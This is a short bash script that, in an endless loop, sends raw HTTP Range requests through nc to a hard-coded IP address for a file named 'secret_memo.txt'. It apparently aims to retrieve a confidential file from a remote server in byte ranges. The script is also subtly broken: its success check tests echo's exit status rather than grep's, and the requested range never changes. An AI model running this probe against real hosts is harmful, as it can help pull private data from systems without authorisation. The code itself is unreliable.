#!/bin/bash step=1000 size=100000489 end=$size part=$(expr $end - $step) while [ 1 ]; do GOT=`echo -en "GET /secret_memo.txt HTTP/1.0\nRange: bytes=$part-$end\n\n" | nc 119.70.231.180 80` TEST=`echo $GOT | grep "Partial Content"` echo "$GOT" if [ "$?" == "0" ]; then echo "PART $part: $GOT" part=$end exit 0 fi done